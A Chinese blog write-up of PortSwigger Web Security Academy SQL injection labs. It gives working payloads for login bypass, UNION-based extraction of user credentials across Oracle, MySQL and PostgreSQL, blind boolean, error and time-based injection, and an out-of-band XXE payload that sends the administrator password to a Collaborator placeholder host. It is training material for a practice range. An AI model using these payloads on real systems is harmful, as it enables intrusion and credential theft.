bp靶场之SQL注入

靶场链接

https://portswigger.net/web-security/all-labs

sql注入payload速查表

https://portswigger.net/web-security/sql-injection/cheat-sheet

SQL注入

WHERE 子句中的 SQL 注入漏洞允许检索隐藏数据

进入lab,点击类别

xia_sql显示√,说明有可能有sql注入

直接往参数后拼' or 1=1--+即可

SQL注入漏洞允许绕过登录

进入lab,点击my account

登录框,随便输入

无加密,结合题目,直接在password后面拼接' or 1=1--+即可


SQL注入攻击,查询Oracle数据库类型和版本

进入lab,点击类别

xia_sql探测到可能有注入,把报文发到重放模块

分别拼接'+and+1=1--+和'+and+1=0--+,根据返回包判断有sql注入(1=1有内容返回,1=0无具体内容返回)
拼接' order by 3--+,此时恰好报错,说明原sql语句返回两列内容

使用union联合查询来读数据库版本,从提示那里得知oracle有一个内置表名dual

拼接 '+union+select+'1','2'+from+dual--+

通过官方wp得知oracle查询数据库版本的payload:'+UNION+SELECT+BANNER,+NULL+FROM+v$version--

SQL注入攻击,查询MySQL和Microsoft的数据库类型和版本

进入lab,点击类别

xia_sql报注入

跟上个lab的步骤一样
最后payload:'+union+select+version(),null--+

SQL 注入攻击,列出非 Oracle 数据库上的数据库内容

跟上面一样的流程,但这个是PostgreSQL数据库。看了wp发现跟mysql的注入差不多

翻用户表,找出账号密码后登录即可解决该lab

SQL注入攻击,列出Oracle数据库内容

流程跟上一个lab一样,但是这个是oracle数据库,sql语句不同
burp提供了sql注入速查表:https://portswigger.net/web-security/sql-injection/cheat-sheet
该lab对应payload:'+union+select+table_name,null+from+all_tables--+
查列名:'+union+select+column_name,null+from+all_tab_columns+where+table_name='USERS_UKRTOL'--+
爆数据:'+union+select+USERNAME_AGHKAC,PASSWORD_YKZZVQ+from+USERS_UKRTOL--+
拿到账号密码登录即可

SQL 注入 UNION 攻击,确定查询返回的列数

一开始用的order by来判断,一直过不了,看了wp

SQL 注入 UNION 攻击,查找包含文本的列

一开始用的是mysql的语法' union select 1,2,3--+,一直报错,看了wp才知道要用null来判断才准确

SQL 注入 UNION 攻击,从其他表检索数据

先查数据库版本,'+union+select+version(),null--+
得知是PostgreSQL,用对应语法去利用
select+table_name,null+from+information_schema.tables--+
select+column_name,null+from+information_schema.columns+where+table_name='users'--+
select+username,password+from+users--+

SQL 注入 UNION 攻击,检索单个列中的多个值

跟上一个lab一个流程
只有一列是可以显示数据的,用concat拼接一次性返回用户名和密码
select+concat(username,'%',password)+from+users

带条件响应的盲 SQL 注入

看了wp,注入点在cookie里。盲注还是很麻烦的

TrackingId=xyz' AND '1'='1
TrackingId=xyz' AND '1'='2
TrackingId=xyz' AND (SELECT 'a' FROM users LIMIT 1)='a
TrackingId=xyz' AND (SELECT 'a' FROM users WHERE username='administrator')='a
TrackingId=xyz' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>1)='a
TrackingId=xyz' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)=20)='a

TrackingId=xyz' AND (SELECT SUBSTRING(password,§1§,1) FROM users WHERE username='administrator')='§a§
选择cluster bomb模式第一个payload选择number从1到20,第二个payload选simplelist导入小写字母+数字的字典,跑完后先点击payload1从小到大排序,再点击返回包排序就可以看清每一位的密码

带有条件错误的盲 SQL 注入

单个单引号返回包变小,两个单引号返回包正常,判断有sql注入点。用常规的and 1=0判断不出来,看了wp,学到了'||(SELECT '' FROM dual)||'
'||(select '' from users)||',报错,还以为没有users表,看了wp才知道要加rownum=1来防止返回多行信息破坏连接。'||(select '' from users where rownum=1)||'
'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'从users表中选取符合username为administrator的行匹配到了记录,意味着数据库找到了至少一条符合条件的记录。这时,CASE 语句中的 WHEN (1=1) 条件始终为真,因此会执行 THEN TO_CHAR(1/0)。由于 1/0 会导致除以零的错误,这将触发数据库的错误处理机制,导致一个错误。如果 FROM users WHERE username='administrator1' 没有找到任何匹配的记录,那么 CASE 语句中的条件仍然会被评估。但由于没有符合条件的记录,WHEN (1=1) 的条件虽然为真,但 THEN 子句并不会被执行,因为没有对应的记录来应用这个条件。所以存在username='administrator'的时候才会去评估when语句是否正确,不然一律执行else。
'||(SELECT CASE WHEN length(password)=20 THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'判断password字段的长度,当length(password)跟实际长度相等时报错,这里可以判断password长度为20

可见的基于错误的 SQL 注入

在cookie那输入单引号,有报错信息

用报错注入的payload尝试一下
' AND 1=CAST((SELECT version()) AS int)--
' AND 1=CAST((SELECT username from users limit 1) AS int)--
' AND 1=CAST((SELECT password from users limit 1) AS int)--

具有时间延迟的盲 SQL 注入

使用and拼接一直不成功,看了wp要用||

SELECT * FROM your_table WHERE some_column = 'x' AND pg_sleep(10)--用AND拼接,pg_sleep(10)在where查询后,pgsql可能不支持这种写法。SELECT * FROM your_table WHERE some_column = 'x'||pg_sleep(10)--用||拼接,相当于先执行select语句,再执行pg_sleep(10)。

具有时间延迟和信息检索的盲 SQL 注入

'||(SELECT CASE WHEN substr(password,1,1)='a' THEN pg_sleep(5) ELSE pg_sleep(0) END from users where username='administrator')--

带外交互的盲 SQL 注入

官方wp,不知道怎么判断注入点,以后遇到参数就无端端的拼接payload
TrackingId=x'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//BURP-COLLABORATOR-SUBDOMAIN/">+%25remote%3b]>'),'/l')+FROM+dual--

带外数据泄露的盲 SQL 注入

官方wp,带外注入的利用方式
TrackingId=x'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//'||(SELECT+password+FROM+users+WHERE+username%3d'administrator')||'.BURP-COLLABORATOR-SUBDOMAIN/">+%25remote%3b]>'),'/l')+FROM+dual--

通过 XML 编码绕过过滤器的 SQL 注入

漏洞点判断,进行四则运算观察返回结果


官方wp,<@hex_entities>1 UNION SELECT username || '~' || password FROM users<@/hex_entities>
利用xml标签绕过waf

posted on 2024-11-11 10:09  没名字别找了  阅读(31)  评论(0编辑  收藏  举报

导航